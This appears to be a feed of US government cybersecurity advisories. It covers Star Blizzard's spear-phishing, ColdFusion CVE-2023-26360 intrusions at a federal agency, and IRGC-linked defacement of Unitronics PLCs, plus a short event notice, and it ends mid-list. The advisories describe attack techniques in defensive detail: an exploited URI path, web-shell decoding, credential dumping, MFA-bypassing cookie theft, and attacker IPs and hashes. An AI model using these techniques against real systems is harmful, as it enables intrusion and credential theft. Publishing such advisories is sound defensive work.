The Russia-based actor is targeting organizations and individuals in the UK and other geographical areas of interest.

OVERVIEW

The Russia-based actor Star Blizzard (formerly known as SEABORGIUM, also known as Callisto Group/TA446/COLDRIVER/TAG-53/BlueCharlie) continues to successfully use spear-phishing attacks against targeted organizations and individuals in the UK, and other geographical areas of interest, for information-gathering activity.

The UK National Cyber Security Centre (NCSC), the US Cybersecurity and Infrastructure Security Agency (CISA), the US Federal Bureau of Investigation (FBI), the US National Security Agency (NSA), the US Cyber National Mission Force (CNMF), the Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC), the Canadian Centre for Cyber Security (CCCS), and the New Zealand National Cyber Security Centre (NCSC-NZ) assess that Star Blizzard is almost certainly subordinate to the Russian Federal Security Service (FSB) Centre 18.

Industry has previously published details of Star Blizzard. This advisory draws on that body of information.

This advisory raises awareness of the spear-phishing techniques Star Blizzard uses to target individuals and organizations. This activity is continuing through 2023.

To download a PDF version of this advisory, see Russian FSB Cyber Actor Star Blizzard Continues Worldwide Spear-phishing Campaigns.

TARGETING PROFILE

Since 2019, Star Blizzard has targeted sectors including academia, defense, governmental organizations, NGOs, think tanks and politicians.

Targets in the UK and US appear to have been most affected by Star Blizzard activity, however activity has also been observed against targets in other NATO countries, and countries neighboring Russia.

During 2022, Star Blizzard activity appeared to expand further, to include defense-industrial targets, as well as US Department of Energy facilities.

OUTLINE OF THE ATTACKS

The activity is typical of spear-phishing campaigns, where an actor targets a specific individual or group using information known to be of interest to the targets. In a spear-phishing campaign, an actor perceives their target to have direct access to information of interest, be an access vector to another target, or both.

Research and Preparation

Using open-source resources to conduct reconnaissance, including social media and professional networking platforms, Star Blizzard identifies hooks to engage their target. They take the time to research their interests and identify their real-world social or professional contacts [T1589], [T1593].

Star Blizzard creates email accounts impersonating known contacts of their targets to help appear legitimate. They also create fake social media or networking profiles that impersonate respected experts [T1585.001] and have used supposed conference or event invitations as lures.

Star Blizzard uses webmail addresses from different providers, including Outlook, Gmail, Yahoo and Proton mail in their initial approach [T1585.002], impersonating known contacts of the target or well-known names in the target’s field of interest or sector.

To appear authentic, the actor also creates malicious domains resembling legitimate organizations [T1583.001].

Microsoft Threat Intelligence Center (MSTIC) provides a list of observed Indicators of Compromise (IOCs) in their SEABORGIUM blog, but this is not exhaustive.

Preference for Personal Email Addresses

Star Blizzard has predominantly sent spear-phishing emails to targets’ personal email addresses, although they have also used targets’ corporate or business email addresses. The actors may intentionally use personal emails to circumvent security controls in place on corporate networks.

Building a Rapport

Having taken the time to research their targets’ interests and contacts to create a believable approach, Star Blizzard now starts to build trust. They often begin by establishing benign contact on a topic they hope will engage their targets. There is often some correspondence between attacker and target, sometimes over an extended period, as the attacker builds rapport.

Delivery of Malicious Link

Once trust is established, the attacker uses typical phishing tradecraft and shares a link [T1566.002], apparently to a document or website of interest. This leads the target to an actor-controlled server, prompting the target to enter account credentials.

The malicious link may be a URL in an email message, or the actor may embed a link in a document [T1566.001] on OneDrive, Google Drive, or other file-sharing platforms.

Star Blizzard uses the open-source framework EvilGinx in their spear- phishing activity, which allows them to harvest credentials and session cookies to successfully bypass the use of two-factor authentication [T1539], [T1550.004].

Exploitation and Further Activity

Whichever delivery method is used, once the target clicks on the malicious URL, they are directed to an actor-controlled server that mirrors the sign-in page for a legitimate service. Any credentials entered at this point are now compromised.

Star Blizzard then uses the stolen credentials to log in to a target’s email account [T1078], where they are known to access and steal emails and attachments from the victim’s inbox [T1114.002]. They have also set up mail- forwarding rules, giving them ongoing visibility of victim correspondence [T1114.003].

The actor has also used their access to a victim email account to access mailinglist data and a victim’s contacts list, which they then use for follow- on targeting. They have also used compromised email accounts for further phishing activity [T1586.002].

CONCLUSION

Spear-phishing is an established technique used by many actors, and Star Blizzard uses it successfully, evolving the technique to maintain their success.

Individuals and organizations from previously targeted sectors should be vigilant of the techniques described in this advisory.

In the UK you can report related suspicious activity to the NCSC.

Information on effective defense against spear-phishing is included in the Mitigations section below.

MITRE ATT&CK®

This report has been compiled with respect to the MITRE ATT&CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations.

Tactic

ID

Technique

Procedure

Reconnaissance

T1593

Search Open Websites/Domains

Star Blizzard uses open-source research and social media to identify information about victims to use in targeting.

Reconnaissance

T1589

Gather Victim Identity Information

Star Blizzard uses online data sets and open-source resources to gather information about their targets.

Resource Development

T1585.001

Establish Accounts: Social Media Accounts

Star Blizzard has been observed establishing fraudulent profiles on professional networking sites to conduct reconnaissance.

Resource Development

T1585.002

Establish Accounts: Email Accounts

Star Blizzard registers consumer email accounts matching the names of individuals they are impersonating to conduct spear-phishing activity.

Resource Development

T1583.001

Acquire Infrastructure: Domains

Star Blizzard registers domains to host their phishing framework.

Resource Development

T1586.002

Compromise Accounts: Email Accounts

Star Blizzard has been observed using compromised victim email accounts to conduct spear-phishing activity against contacts of the original victim.

Initial Access

T1078

Valid Accounts

Star Blizzard uses compromised credentials, captured from fake log- in pages, to log in to valid victim user accounts.

Initial Access

T1566.001

Phishing: Spear-phishing Attachment

Star Blizzard uses malicious links embedded in email attachments to direct victims to their credential-stealing sites.

Initial Access

T1566.002

Phishing: Spear-phishing Link

Star Blizzard sends spear-phishing emails with malicious links directly to credential-stealing sites, or to documents hosted on a file-sharing site, which then direct victims to credential-stealing sites.

Defense Evasion

T1550.004

Use Alternate Authentication Material: Web Session Cookie

Star Blizzard bypasses multi-factor authentication on victim email accounts by using session cookies stolen using EvilGinx.

Credential Access

T1539

Steal Web Session Cookie

Star Blizzard uses EvilGinx to steal the session cookies of victims directed to their fake log-in domains.

Collection

T1114.002

Email Collection: Remote Email Collection

Star Blizzard interacts directly with externally facing Exchange services, Office 365 and Google Workspace to access email and steal information using compromised credentials or access tokens.

Collection

T1114.003

Email Collection: Email Forwarding Rule

Star Blizzard abuses email- forwarding rules to monitor the activities of a victim, steal information, and maintain persistent access to victim’s emails, even after compromised credentials are reset.

MITIGATIONS

A number of mitigations will be useful in defending against the activity described in this advisory.

  • Use strong passwords. Use a separate password for email accounts and avoid password re-use across multiple services. See NCSC guidance: Top Tips for Staying Secure Online.
  • Use multi-factor authentication (2-factor authentication/two-step authentication) to reduce the impact of password compromises. See NCSC guidance: Multi-factor Authentication for Online Services and Setting Up 2-Step Verification (2SV).
  • Protect your devices and networks by keeping them up to date: Use the latest supported versions, apply security updates promptly, use anti-virus and scan regularly to guard against known malware threats. See NCSC guidance: Device Security Guidance.
  • Exercise vigilance. Spear-phishing emails are tailored to avoid suspicion. You may recognize the sender’s name, but has the email come from an address that you recognize? Would you expect contact from this person’s webmail address rather than their corporate email address? Has the suspicious email come to your personal/webmail address rather than your corporate one? Can you verify that the email is legitimate via another means? See NCSC guidance: Phishing attacks: Defending Your Organization and Internet Crime Complaint Center(IC3) | Industry Alerts.
  • Enable your email providers’ automated email scanning features. These are turned on by default for consumer mail providers. See NCSC guidance: Telling Users to “Avoid Clicking Bad Links” Still Isn’t Working.
  • Disable mail-forwarding. Attackers have been observed to set up mail-forwarding rules to maintain visibility of target emails. If you cannot disable mail-forwarding, then monitor settings regularly to ensure that a forwarding rule has not been set up by an external malicious actor.

DISCLAIMER

This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times.

This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.

Refer any FOIA queries to ncscinfoleg@ncsc.gov.uk.

All material is UK Crown Copyright©.

Threat Actors Exploit Adobe ColdFusion CVE-2023-26360 for Initial Access to Government Servers

Source: US Department of Homeland Security

SUMMARY

The Cybersecurity and Infrastructure Security Agency (CISA) is releasing a Cybersecurity Advisory (CSA) in response to confirmed exploitation of CVE-2023-26360 by unidentified threat actors at a Federal Civilian Executive Branch (FCEB) agency. This vulnerability presents as an improper access control issue impacting Adobe ColdFusion versions 2018 Update 15 (and earlier) and 2021 Update 5 (and earlier). CVE-2023-26360 also affects ColdFusion 2016 and ColdFusion 11 installations; however, they are no longer supported since they reached end of life. Exploitation of this CVE can result in arbitrary code execution. Following the FCEB agency’s investigation, analysis of network logs confirmed the compromise of at least two public-facing servers within the environment between June and July 2023.

This CSA provides network defenders with tactics, techniques, and procedures (TTPs), indicators of compromise (IOCs), and methods to detect and protect against similar exploitation.

Download the PDF version of this report:

For a downloadable copy of IOCs, see:

TECHNICAL DETAILS

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 14. See the MITRE ATT&CK Tactics and Techniques section for tables mapped to the threat actors’ activity.

Overview

Adobe ColdFusion is a commercial application server used for rapid web-application development. ColdFusion supports proprietary markup languages for building web applications and integrates external components like databases and other third-party libraries. ColdFusion uses a proprietary language, ColdFusion Markup Language (CFML), for development but the application itself is built using JAVA.

In June 2023, through the exploitation of CVE-2023-26360, threat actors were able to establish an initial foothold on two agency systems in two separate instances. In both incidents, Microsoft Defender for Endpoint (MDE) alerted of the potential exploitation of an Adobe ColdFusion vulnerability on public-facing web servers in the agency’s pre-production environment. Both servers were running outdated versions of software which are vulnerable to various CVEs. Additionally, various commands were initiated by the threat actors on the compromised web servers; the exploited vulnerability allowed the threat actors to drop malware using HTTP POST commands to the directory path associated with ColdFusion.

Analysis suggests that the malicious activity conducted by the threat actors was a reconnaissance effort to map the broader network. No evidence is available to confirm successful data exfiltration or lateral movement during either incident. Note: It is unknown if the same or different threat actors were behind each incident.

Incident 1

As early as June 26, 2023, threat actors obtained an initial foothold on a public-facing [T1190] web server running Adobe ColdFusion v2016.0.0.3 through exploitation of CVE-2023-26360. Threat actors successfully connected from malicious IP address 158.101.73[.]241. Disclaimer: CISA recommends organizations investigate or vet this IP address prior to taking action, such as blocking. This IP resolves to a public cloud service provider and possibly hosts a large volume of legitimate traffic.

The agency’s correlation of Internet Information Services (IIS) logs against open source[1] information indicates that the identified uniform resource identifier (URI) /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc was used to exploit CVE-2023-26360. The agency removed the asset from the network within 24 hours of the MDE alert.

Threat actors started process enumeration to obtain currently running processes on the web server and performed a network connectivity check, likely to confirm their connection was successful. Following additional enumeration efforts to obtain information about the web server and its operating system [T1082], the threat actors checked for the presence of ColdFusion version 2018 [T1518]—previous checks were also conducted against version 2016.

Threat actors were observed traversing the filesystem [T1083] and uploading various artifacts to the web server [T1105], to include deleting the file tat.cfm [T1070.004]. Note: This file was deleted prior to the victim locating it on the host for analysis. Its characteristics and functionality are unknown. In addition:

  • Certutil[2] was run against conf.txt [T1140] and decoded as a web shell (config.jsp) [T1505.003],[T1036.008]. Conf.txt was subsequently deleted, likely to evade detection.
    Note: Threat actors were only observed interacting with the config.jsp web shell from this point on.
  • HTTP POST requests [T1071.001] were made to config.cfm, an expected configuration file in a standard installation of ColdFusion [T1036.005]. Code review of config.cfm indicated malicious code—intended to execute on versions of ColdFusion 9 or less—was inserted with the intent to extract username, password, and data source uniform resource locators (URLs). According to analysis, this code insertion could be used in future malicious activity by the threat actors (e.g., by using the valid credentials that were compromised). This file also contained code used to upload additional files by the threat actors; however, the agency was unable to identify the source of their origin.
  • Threat actors attempted to run attrib.exe to hide the newly created config.jsp web shell [T1564.001]. Analysis of this phase found no indication of successful execution.
  • A small subset of events generated from various ColdFusion application logs identified that tat.cfm, config.jsp, and system.cfm failed to execute on the host due to syntax errors.

Threat actors created various files (see Table 1 below) in the C:IBM directory using the initialization process coldfusion.exe. None of these files were located on the server (possibly due to threat actor deletion) but are assessed as likely threat actor tools. Analysts assessed the C:IBM directory as a staging folder to support threat actors’ malicious operations.

Disclaimer: Organizations are encouraged to investigate the use of these files for related signs of compromise prior to performing remediation actions. Two artifacts are legitimate Microsoft files; threat actors were observed using these files following initial compromise for intended malicious purposes.

Table 1: Threat Actor Tools

File Name

Hash (SHA-1)

Description

eee.exe

b6818d2d5cbd902ce23461f24fc47e24937250e6

VirusTotal[3] flags this file as malicious. This was located in D:$RECYCLE.BIN.

edge.exe

75a8ceded496269e9877c2d55f6ce13551d93ff4

The dynamic-link library (DLL) file msedge.dll attempted to execute via edge.exe but received an error.

Note: This file is part of the official Microsoft Edge browser and is a cookie exporter.

fscan.exe

be332b6e2e2ed9e1e57d8aafa0c00aa77d4b8656

Analysis confirmed at least three subnets were scanned using fscan.exe, which was launched from the C:IBM directory [T1046].

RC.exe

9126b8320d18a52b1315d5ada08e1c380d18806b

RCDLL.dll attempted to execute via RC.exe but received an error.

Note: This file is part of the official Windows operating system and is called Microsoft Resource Compiler.

Note: The malicious code found on the system during this incident contained code that, when executed, would attempt to decrypt passwords for ColdFusion data sources. The seed value included in the code is a known value for ColdFusion version 8 or older—where the seed value was hard-coded. A threat actor who has control over the database server can use the values to decrypt the data source passwords in ColdFusion version 8 or older. The victim’s servers were running a newer version at the time of compromise; thus, the malicious code failed to decrypt passwords using the default hard-coded seed value for the older versions.

Incident 2

As early as June 2, 2023, threat actors obtained an initial foothold on an additional public-facing web server running Adobe ColdFusion v2021.0.0.2 via malicious IP address 125.227.50[.]97 through exploitation of CVE-2023-26360. Threat actors further enumerated domain trusts to identify lateral movement opportunities [T1482] by using nltest commands. The threat actors also collected information about local [T1087.001] and domain [T1087.002] administrative user accounts while performing reconnaissance by using commands such as localgroup, net user, net user /domain, and ID. Host and network reconnaissance efforts were further conducted to discover network configuration, time logs, and query user information.

Threat actors were observed dropping the file d.txt—decoded as d.jsp—via POST command in addition to eight malicious artifacts (hiddenfield.jsp, hiddenfield_jsp.class, hiddenfield_jsp.java, Connection.jsp, Connection_jsp.class, Connection_jsp.java, d_jsp.class, and d_jsp.java/). According to open source information, d.jsp is a remote access trojan (RAT) that utilizes a JavaScript loader [T1059.007] to infect the device and requires communication with the actor-controlled server to perform actions.[4] The agency’s analysis identified the trojan as a modified version of a publicly available web shell code.[5] After maintaining persistence, threat actors periodically tested network connectivity by pinging Google’s domain name system (DNS) [T1016.001]. The threat actors conducted additional reconnaissance efforts via searching for the .jsp files that were uploaded.

Threat actors attempted to exfiltrate the (Registry) files sam.zip, sec.zip, blank.jsp, and cf-bootstrap.jar. Windows event logs identified the actors were not successful due to the malicious activity being detected and quarantined. An additional file (sys.zip) was created on the system; however, there were no indications of any attempt to exfiltrate it. Analysis identified these files resulted from executed save and compress data processes from the HKEY_LOCAL_MACHINE (HKLM) Registry key, as well as save security account manager (SAM) [T1003.002] information to .zip files. The SAM Registry file may allow for malicious actors to obtain usernames and reverse engineer passwords; however, no artifacts were available to confirm that the threat actors were successful in exfiltrating the SAM Registry hive.

Windows event logs show that a malicious file (1.dat) was detected and quarantined. Analysis determined this file was a local security authority subsystem service (LSASS) dump [T1003.001] file that contained user accounts—to include multiple disabled credentials—and Windows new technology LAN manager (NTLM) passwords. The accounts were found on multiple servers across the victim’s network and were not successfully used for lateral movement.

As efforts for reconnaissance continued, the threat actors changed their approach to using security tools that were present on the victim server. Esentutl.exe[6] was used to attempt this registry dump. Attempts to download data from the threat actors’ command and control (C2) server were also observed but blocked and logged by the victim server. Threat actors further attempted to access SYSVOL, which is used to deliver policy and logon scripts to domain members on an agency domain controller [T1484.001]. The attempt was unsuccessful. Had the attempt succeeded, the threat actors may have been able to change policies across compromised servers.[7]

Note: During this incident, analysis strongly suggests that the threat actors likely viewed the data contained in the ColdFusion seed.properties file via the web shell interface. The seed.properties file contains the seed value and encryption method used to encrypt passwords. The seed values can also be used to decrypt passwords. No malicious code was found on the victim system to indicate the threat actors attempted to decode any passwords using the values found in seed.properties file. Versions of ColdFusion 9 or greater use the seed.properties file, which contains unique seed values that can only be used on a single server.

MITRE ATT&CK TACTICS AND TECHNIQUES

See Tables 2-9 for all referenced threat actor tactics and techniques for enterprise environments in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Table 2: Initial Access

Technique Title

ID

Use

Exploit Public-Facing Application

T1190

Threat actors exploited two public-facing web servers running outdated versions of Adobe ColdFusion.

Table 3: Execution

Technique Title

ID

Use

Command and Scripting Interpreter: JavaScript

T1059.007

In correlation with open source information, analysis determined d.jsp is a RAT that utilizes a JavaScript loader to infect the device and requires communication with the actor-controlled server to perform actions.

Table 4: Persistence

Technique Title

ID

Use

Server Software Component: Web Shell

T1505.003

Threat actors uploaded various web shells to enable remote code execution and to execute commands on compromised web servers.

Table 5: Privilege Escalation

Technique Title

ID

Use

Domain Policy Modification: Group Policy Modification

T1484.001

Threat actors attempted to edit SYSVOL on an agency domain controller to change policies.

Table 6: Defense Evasion

Technique Title

ID

Use

Masquerading: Match Legitimate Name or Location

T1036.005

Threat actors inserted malicious code with the intent to extract username, password, and data source URLs into config.cfm—an expected configuration file in a standard installation of ColdFusion.

Masquerading: Masquerade File Type

T1036.008

Threat actors used the .txt file extension to disguise malware files.

Indicator Removal: File Deletion

T1070.004

Threat actors deleted files following upload to remove malicious indicators.

Deobfuscate/Decode Files or Information

T1140

Threat actors used certutil to decode web shells hidden inside .txt files.

Hide Artifacts: Hidden Files and Directories

T1564.001

Threat actors attempted to run attrib.exe to hide the newly created config.jsp web shell.

Table 7: Credential Access

Technique Title

ID

Use

OS Credential Dumping: LSASS Memory

T1003.001

Threat actors attempted to harvest user account credentials through LSASS memory dumping.

OS Credential Dumping: Security Account Manager

T1003.002

Threat actors saved and compressed SAM information to .zip files.

Table 8: Discovery

Technique Title

ID

Use

System Network Configuration Discovery: Internet Connection Discovery

T1016.001

Threat actors periodically tested network connectivity by pinging Google’s DNS.

Network Service Discovery

T1046

Threat actors scanned at least three subnets to gather network information using fscan.exe, to include administrative data for future exfiltration.

System Information Discovery

T1082

Threat actors collected information about the web server and its operating system.

File and Directory Discovery

T1083

Threat actors traversed and were able to search through folders on the victim’s web server filesystem. Additional reconnaissance efforts were conducted via searching for the .jsp files that were uploaded.

Account Discovery: Local Account

T1087.001

Threat actors collected information about local user accounts.

Account Discovery: Domain Account

T1087.002

Threat actors collected information about domain users, including identification of domain admin accounts.

Domain Trust Discovery

T1482

Threat actors enumerated domain trusts to identify lateral movement opportunities.

Software Discovery

T1518

Following initial access and enumeration, threat actors checked for the presence of ColdFusion version 2018 on the victim web server.

Table 9: Command and Control

Technique Title

ID

Use

Application Layer Protocol: Web Protocols

T1071.001

Threat actors used HTTP POST requests to config.cfm, an expected configuration file in a standard installation of ColdFusion.

Ingress Tool Transfer

T1105

Threat actors were able to upload malicious artifacts to the victim web server.

MITIGATIONS

CISA recommends organizations implement the mitigations below to improve your organization’s cybersecurity posture based on threat actor activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

These mitigations apply to all critical infrastructure organizations and network defenders. CISA recommends that software manufacturers incorporate secure-by-design and -default principles and tactics into their software development practices, limiting the impact of threat actor techniques and strengthening the security posture for their customers. For more information on secure by design, see CISA’s Secure by Design webpage.

Manage Vulnerabilities and Configurations

  • Upgrade all versions affected by this vulnerability. Keep all software up to date and prioritize patching according to CISA’s Known Exploited Vulnerabilities Catalog [1.E].
  • Prioritize remediation of vulnerabilities on internet-facing systems, for example, by conducting continuous automated and/or routine vulnerability scans.
  • Prioritize secure-by-default configurations such as eliminating default passwords, implementing single sign-on (SSO) technology via modern open standards. This also includes disabling default credentials.

Segment Networks

  • Employ proper network segmentation, such as a demilitarized zone (DMZ) [2.F]. The end goal of a DMZ network is to allow an organization to access untrusted networks, such as the internet, while ensuring its private network or local area network (LAN) remains secure. Organizations typically store external-facing services and resources—as well as servers used for DNS, file transfer protocol (FTP), mail, proxy, voice over internet protocol (VoIP)—and web servers in the DMZ.
  • Use a firewall or web-application firewall (WAF) and enable logging [2.G, 2.T] to prevent/detect potential exploitation attempts. Review ingress and egress firewall rules and block all unapproved protocols. Limit risky (but approved) protocols through rules.
  • Implement network segmentation to separate network segments based on role and functionality [2.E]. Proper network segmentation significantly reduces the ability for threat actor lateral movement by controlling traffic flows between—and access to—various subnetworks. See CISA’s Layering Network Security Through Segmentation infographic and the National Security Agency’s (NSA’s) Segment Networks and Deploy Application-Aware Defenses.
  • Deploy application-aware network defenses to block improperly formed traffic and restrict content, according to policy and legal authorizations. Traditional intrusion detection systems (IDS) based on known-bad signatures are quickly decreasing in effectiveness due to encryption and obfuscation techniques. Threat actors hide malicious actions and remove data over common protocols, making the need for sophisticated, application-aware defensive mechanisms critical for modern network defenses.

Application Control

  • Enforce signed software execution policies. Use a modern operating system that enforces signed software execution policies for scripts, executables, device drivers, and system firmware. Maintain a list of trusted certificates to prevent and detect the use and injection of illegitimate executables. Execution policies, when used in conjunction with a secure boot capability, can assure system integrity.
  • Application control should be used with signed software execution policies to provide greater control. Allowing unsigned software enables threat actors to gain a foothold and establish persistence through embedded malicious code. See NSA’s Enforce Signed Software Execution Policies.

Manage Accounts, Permissions, and Workstations

  • Require phishing-resistant multifactor authentication (MFA) [2.H] for all services to the extent possible, particularly for webmail, VPN, and accounts that access critical systems.
  • Implement the principle of least privilege to decrease threat actors’ abilities to access key network resources.
  • Restrict file and directory permissions. Use file system access controls to protect folders such as C:WindowsSystem32.
  • Restrict NTLM authentication policy settings, including incoming NTLM traffic from client computers, other member servers, or a domain controller.[8]

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, CISA recommends exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA recommends testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

  1. Select an ATT&CK technique described in this advisory (see Tables 2-9).
  2. Align your security technologies against the technique.
  3. Test your technologies against the technique.
  4. Analyze your detection and prevention technologies’ performance.
  5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
  6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

CISA recommends continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

RESOURCES

REFERENCES

[1] Packet Storm Security: Adobe ColdFusion Unauthenticated Remote Code Execution
[2] MITRE: certutil
[3] VirusTotal: File – a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864
[4] Bleeping Computer: Stealthy New JavaScript Malware Infects Windows PCs with RATs
[5] GitHub: Tas9er/ByPassGodzilla
[6] MITRE: esentutl
[7] Microsoft: Active Directory – SYSVOL
[8] Microsoft: Restrict NTLM – Incoming NTLM Traffic

DISCLAIMER

The information in this report is being provided “as is” for informational purposes only. CISA does not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA.

VERSION HISTORY

December 5, 2023: Initial version.

Third Large Prime-Small Business VOME

Source: US Department of Homeland Security

The U.S. Department of Homeland Security will host a large and small business Vendor Outreach Matchmaking Event (VOME). Large business primes, serving as counselors, and small businesses will be able to meet virtually to discuss potential partnerships, subcontracting opportunities, and joint ventures.

DATE: December 6-7, 2023

TIME: 9:00 am – 4:00 pm EDT 

LOCATION: All sessions will be held virtually. Space is Limited

For more information about the event such as registration, please review the Third Large Prime-Small Business VOME eflyer.

IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including U.S. Water and Wastewater Systems Facilities

Source: US Department of Homeland Security

SUMMARY

The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), Environmental Protection Agency (EPA), and the Israel National Cyber Directorate (INCD)—hereafter referred to as “the authoring agencies”—are disseminating this joint Cybersecurity Advisory (CSA) to highlight continued malicious cyber activity against operational technology devices by Iranian Government Islamic Revolutionary Guard Corps (IRGC)-affiliated Advanced Persistent Threat (APT) cyber actors.

The IRGC is an Iranian military organization that the United States designated as a foreign terrorist organization in 2019. IRGC-affiliated cyber actors using the persona “CyberAv3ngers” are actively targeting and compromising Israeli-made Unitronics Vision Series programmable logic controllers (PLCs). These PLCs are commonly used in the Water and Wastewater Systems (WWS) Sector and are additionally used in other industries including, but not limited to, energy, food and beverage manufacturing, and healthcare. The PLCs may be rebranded and appear as different manufacturers and companies. In addition to the recent CISA Alert, the authoring agencies are releasing this joint CSA to share indicators of compromise (IOCs) and tactics, techniques, and procedures (TTPs) associated with IRGC cyber operations.

Since at least November 22, 2023, these IRGC-affiliated cyber actors have continued to compromise default credentials in Unitronics devices. The IRGC-affiliated cyber actors left a defacement image stating, “You have been hacked, down with Israel. Every equipment ‘made in Israel’ is CyberAv3ngers legal target.” The victims span multiple U.S. states. The authoring agencies urge all organizations, especially critical infrastructure organizations, to apply the recommendations listed in the Mitigations section of this advisory to mitigate risk of compromise from these IRGC-affiliated cyber actors.

This advisory provides observed IOCs and TTPs the authoring agencies assess are likely associated with this IRGC-affiliated APT. For more information on Iranian state-sponsored malicious cyber activity, see CISA’s Iran Cyber Threat Overview and Advisories webpage and the FBI’s Iran Threat webpage.

For a PDF version of this CSA, see: 

For a downloadable copy of IOCs, see:

TECHNICAL DETAILS

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 14. See Table 1 for threat actor activity mapped to MITRE ATT&CK tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Overview

CyberAv3ngers (also known as CyberAveng3rs, Cyber Avengers) is an Iranian IRGC cyber persona that has claimed responsibility for numerous attacks against critical infrastructure organizations.[1],[2],[3],[4],[5] The group claimed responsibility for cyberattacks in Israel beginning in 2020. CyberAv3ngers falsely claimed they compromised several critical infrastructure organizations in Israel.[2] CyberAv3ngers also reportedly has connections to another IRGC-linked group known as Soldiers of Solomon.

Most recently, CyberAv3ngers began targeting U.S.-based WWS facilities that operate Unitronics PLCs.[1] The threat actors compromised Unitronics Vision Series PLCs with human machine interfaces (HMI). These compromised devices were publicly exposed to the internet with default passwords and by default are on TCP port 20256.

These PLC and related controllers are often exposed to outside internet connectivity due to the remote nature of their control and monitoring functionalities. The compromise is centered around defacing the controller’s user interface and may render the PLC inoperative. With this type of access, deeper device and network level accesses are available and could render additional, more profound cyber physical effects on processes and equipment. It is not known if additional cyber activities deeper into these PLCs or related control networks and components were intended or achieved. Organizations should consider and evaluate their systems for these possibilities.

Threat Actor Activity

The authoring agencies have observed the IRGC-affiliated activity since at least October 2023, when the actors claimed credit for the cyberattacks against Israeli PLCs on their Telegram channel. Since November 2023, the authoring agencies have observed the IRGC-affiliated actors target multiple U.S.-based WWS facilities that operate Unitronics Vision Series PLCs. Cyber threat actors likely compromised these PLCs since the PLCs were internet-facing and used Unitronics’ default password. Observed activity includes the following:

  • Between September 13 and October 30, 2023, the CyberAv3ngers Telegram channel displayed both legitimate and false claims of multiple cyberattacks against Israel. CyberAv3ngers targeted Israeli PLCs in the water, energy, shipping, and distribution sectors.
  • On October 18, 2023, the CyberAv3ngers-linked Soldiers of Solomon claimed responsibility for compromising over 50 servers, security cameras, and smart city management systems in Israel; however, majority of these claims were proven false. The group claimed to use a ransomware named “Crucio” against servers where the webcams camera software operated on port 7001.
  • Beginning on November 22, 2023, IRGC cyber actors accessed multiple U.S.-based WWS facilities that operate Unitronics Vision Series PLCs with an HMI likely by compromising internet-accessible devices with default passwords. The targeted PLCs displayed the defacement message, “You have been hacked, down with Israel. Every equipment ‘made in Israel’ is Cyberav3ngers legal target.”

INDICATORS OF COMPROMISE

See Table 1 for observed IOCs related to CyberAv3nger operations.

Table 1: CyberAv3nger IOCs

Indicator

Type

Fidelity

Description

BA284A4B508A7ABD8070A427386E93E0

MD5

Suspected

MD5 hash associated with Crucio Ransomware

66AE21571FAEE1E258549078144325DC9DD60303

SHA1

Suspected

SHA1 hash associated with Crucio Ransomware

440b5385d3838e3f6bc21220caa83b65cd5f3618daea676f271c3671650ce9a3

SHA256

Suspected

SHA256 hash associated with Crucio Ransomware

178.162.227[.]180

IP address

185.162.235[.]206

IP address

MITRE ATT&CK TACTICS AND TECHNIQUES

See Table 2 for referenced threat actor tactics and techniques in this advisory.

Table 2: Initial Access

Technique Title

ID

Use

Brute Force Techniques

T1110

Threat actors obtained login credentials, which they used to successfully log into Unitronics devices and provide root-level access.

MITIGATIONS

The authoring agencies recommend critical infrastructure organizations, including WWS sector facilities, implement the following mitigations to improve your organization’s cybersecurity posture to defend against CyberAv3ngers activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

Note: The below mitigations are based on threat actor activity against Unitronics PLCs but apply to all internet-facing PLCs.

Network Defenders

The cyber threat actors likely accessed the affected devices—Unitronics Vision Series PLCs with HMI—by exploiting cybersecurity weaknesses, including poor password security and exposure to the internet. To safeguard against this threat, the authoring agencies urge organizations to consider the following:

Immediate steps to prevent attack:

  • Change all default passwords on PLCs and HMIs and use a strong password. Ensure the Unitronics PLC default password is not in use.
  • Disconnect the PLC from the public-facing internet.

Follow-on steps to strengthen your security posture:

  • Implement multifactor authentication for access to the operational technology (OT) network whenever applicable.
